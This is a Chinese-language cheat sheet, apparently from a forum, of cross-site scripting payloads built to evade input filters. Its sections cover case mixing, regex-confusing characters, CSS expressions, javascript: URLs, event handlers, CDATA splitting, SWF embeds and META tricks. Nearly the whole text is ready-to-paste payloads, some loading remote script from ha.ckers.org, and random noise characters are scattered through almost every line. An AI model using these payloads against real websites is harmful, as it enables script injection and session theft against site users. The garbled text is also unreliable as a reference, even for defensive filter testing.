1. 改变字符大小写/ s9 |- Q' c; P; u, t6 C* r0 c
/ y# G/ m9 d% u- ] ( c9 q1 X9 v3 a1 e& C9 N9 F: s
% `2 E( f2 z0 j6 |) Z3 K2 x <sCript>alert(‘d’)</scRipT>
: P! @) M8 J9 j9 V& R" r
! ]% ^& L* l9 k- p1 ]2. 利用多加一些其它字符来规避Regular Expression的检查
8 e( U/ L& `6 j4 s8 W% e2 G
4 L H6 W5 F9 J <<script>alert(‘c’)//<</script>
3 I! @0 I: i2 @5 A8 R+ ~
8 i/ N. K, Z$ y <SCRIPT a=">" SRC="t.js"></SCRIPT>
) _0 F. C3 O8 s9 a/ p
; i& }. h1 A8 f% D$ r4 h <SCRIPT =">" SRC="t.js"></SCRIPT>; t( l- {8 n& h/ h* O0 p8 F K
; ]. n' w) Z" B3 E <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
! q2 \5 Q0 z) ~* S+ }4 _3 |! k; i! }: D# \ g5 Y
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
* M4 }2 {4 s4 R) Y) u4 I' n8 H; |8 H s8 G8 x+ j# z
<SCRIPT a=`>` SRC="t.js"></SCRIPT> Z4 Z9 P6 i! ~6 Y
7 u; ]" B2 b( z& }3 E <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
6 p* N0 D9 D7 s. D6 C4 J
2 o# E6 L E6 [6 K5 t3. 以其它扩展名取代.js
' C3 }+ M+ m8 l" i: O Z! v8 n% @5 S5 Z S# b/ ]: t! n8 Y3 C
<script src="bad.jpg"></script>
6 O* p" v/ p* z: w0 P; z0 J: @ }. Q
4. 将Javascript写在CSS档里" f8 B7 f& u* x+ H
# Z! A. u1 G/ j5 o4 @" h# r. S
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
# |0 M9 ^0 k( Z, n( v7 G+ C
" U$ c+ V! ~) G/ d example:. i. f+ I6 R }) n
" U! Y8 [" z, t
body {! k1 o+ y! \5 C
c% f3 }7 ]7 h) c1 |) p% F
background-image: url(‘javascript:alert("XSS");’)6 x& ~1 e" }- `$ R0 p
* ^: K L: d0 D& {( w7 _: E4 y+ A }9 b4 ]' M5 d4 S& a4 b' r; m
( [+ T+ ?' X6 R
5. 在script的tag里加入一些其它字符. r7 r- r3 K H4 d9 g8 j% u! c
/ @- ?+ p& u2 M z* K4 }3 J
<SCRIPT/SRC="t.js"></SCRIPT>% \( n; K+ H' H, N# A, {! |. k
/ e+ r# t. P( e* n" H7 X
<SCRIPT/anyword SRC="t.js"></SCRIPT>* m& v0 B9 R! E" s7 F6 v7 t
% o% |/ N( N5 w ?4 p' ~% T3 B, x. G
6. 使用tab或是new line来规避
4 V* Y5 Q9 P) L* o$ \9 B& R
1 H w8 T6 Z9 |7 v <img src="jav ascr ipt:alert(‘XSS3′)">" f o% N! M+ F* O9 v/ D
/ n5 I E0 t4 Z s7 b+ W
<img src="jav ascr ipt:alert(‘XSS3′)">$ D+ t# A8 W/ t7 [, j; Y: @7 @- V
% L) T1 l: K* z9 a# s6 j& E
<IMG SRC="jav ascript:alert(‘XSS’);">- ~* c1 ~4 Y# }+ |5 |5 v9 G6 E
: O2 s- l; T$ y% f# T- W0 g( u -> tag$ D! j- V6 G: l& N' b" _2 i
: ?0 u/ w* i- k+ `
-> new line
0 N5 s! U, K9 i! S5 Y8 k' z$ J5 d4 i
7. 使用"\"来规避
/ l# D, ?* E9 W$ T8 ?
' J: G2 m6 r1 Y1 s5 Q6 F <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
& t2 q9 u3 g x: W# D3 `0 z; e; t% e
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>( T6 X" I: X/ \( M) ?
8 H" n' T l1 a/ R) P7 y <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">. P" b& F' S2 h: B2 O
' G% D4 M( @8 c5 ~/ C
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">) h* g; j2 }" j& a* b. k9 b
7 \7 o4 I, u9 d: t, K9 y <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>" G, [) e/ _- \; u6 u/ ?
5 U0 v8 F( b4 z6 [8. 使用Hex encode来规避(也可能会把";"拿掉)
4 _* ~4 L. u" F4 E; ?4 F/ q7 u) {& k3 B2 Z$ k
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">$ z, `" x7 K, Q% a+ h- u
7 ^7 f- Q, X) m* S$ E7 k) \; B. R 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
+ D/ }- q1 S$ N$ y$ K
X1 [/ t0 B+ Z4 i3 S- `# s <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& [" N6 M' o% L( \2 M
. x8 J0 _% K6 L& N+ z0 X 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
& V: s- l& n% G0 F* ~
1 b: d. |: C# ?8 Y8 i4 g6 _: m0 L) V9. script in HTML tag
9 W5 V+ e/ S3 l4 N1 U& u3 R( `
5 f8 \! y x; ~% O: s. S* | <body onload=」alert(‘onload’)」>3 M9 H# {% \7 { I- D# W+ b& k
+ @) X3 X5 A& L% s' }
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload" H. y3 u$ R& x3 C+ M
5 ~4 j3 ?1 q9 k9 s
10. 在swf里含有xss的code: R7 b, {- \2 s3 B1 ~
6 _ n7 @1 i+ f0 m3 D <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
; I2 B+ y q' ^: |4 ~
6 a/ n+ ?9 O" z11. 利用CDATA将xss的code拆开,再组合起来。3 S% i5 a& _- P H* f
3 ^: N- p, X' D- s
<XML ID=I><X><C># }5 c0 V O s6 n
5 l6 p$ r: Q- `0 ^
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
/ r6 E$ v {" l: s( E- ^" E, Q3 {7 r% S4 d1 k" v6 N, U( L$ C6 j
</C></X>
$ H% U8 \# ]- y% v/ v! U5 _( g4 v
; X4 @' P# p9 ? </xml>- V$ U) r' M' y( x( j: H
9 e6 p U( X' l* E7 C& U( \! G
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>: R S3 N" n$ n$ N2 t
6 x2 N8 Z% `! W$ i- ^( Y3 ~- l& `- u
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>) P, Y* X: o9 f9 t; u
1 c8 b( A" H- t! s8 Q' M <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>6 ?3 _4 b, W- }
. F* [, g5 m/ ^; G1 k. i8 _8 s" ^
12. 利用HTML+TIME。
4 K6 h: N/ Y6 W, C. p( O4 g1 ^; K( D9 ?9 g. |
<HTML><BODY>* k. b1 Y) ~' ?
7 j- z( F' H) O- u1 P/ }! c <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
/ D3 d- r8 V0 r9 Q) u( x8 I( I7 M9 I/ ]7 }. g; x9 F/ z
<?import namespace="t" implementation="#default#time2">7 R& ~/ T- `* o
- `" q# N5 z5 ]. T+ W
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">6 ]+ `+ Q) K1 j& Q: V
4 |2 r* f: D0 m% K4 M* ^ </BODY></HTML>( s o1 k* M: k3 j$ B4 k2 n! |
/ g i1 u4 I4 ?# Z0 v( y% p/ k; g& x
13. 透过META写入Cookie。: }7 l, u% j) g1 H3 M
4 ~- ?! k8 F t) ~- L3 y
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
: E" _+ f2 {" Q2 |
, Z$ B; V& I# I! W: D% u; L: R14. javascript in src , href , url9 x D8 |2 U' l2 `, |
: n, Z/ B# R9 @
<IFRAME SRC=javascript:alert(’13′)></IFRAME>3 {2 e" O2 B9 T) T7 J: `
3 b/ F# ]# i; }3 y8 q5 d( Z <img src="javascript:alert(‘XSS3′)">
& L ?: q$ D; f4 g, K
/ x" ~9 Q2 d6 ]- o. `; }3 N- p<IMG DYNSRC="javascript:alert(‘XSS20′)">
2 X5 P* |' G e, a3 q$ A
" F& w7 \# F4 U/ p+ ]$ D) y <IMG LOWSRC="javascript:alert(‘XSS21′)">
. [ K0 v* o5 B2 I! r! }
, q$ w" t, G0 R& N; l0 ^: Q <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">! K3 ]* G1 a) q4 {& T
8 k. S; y/ u9 }) H# d
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>; O7 L8 O6 R" b8 }2 Q( ]* b
Q8 T6 {( |& _/ S <TABLE BACKGROUND="javascript:alert(‘XSS29′)"># X/ `9 x5 j( u4 T# X% V; O( T+ e1 X$ \
. l8 j1 q, R( Y; K1 o# B# {% v <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">6 V6 D4 p1 `$ d* s
6 Y) ]* c( H+ T9 M
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
$ e* Y" i3 f/ N" V$ {8 {! u- w0 t( N# x
</STYLE><A CLASS=XSS></A>
/ n- `! U; k9 o: _7 w1 y0 H5 i; f, r/ M: ?( v
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
4 o7 c! W6 y# B
7 r* U6 }2 m7 H; ] |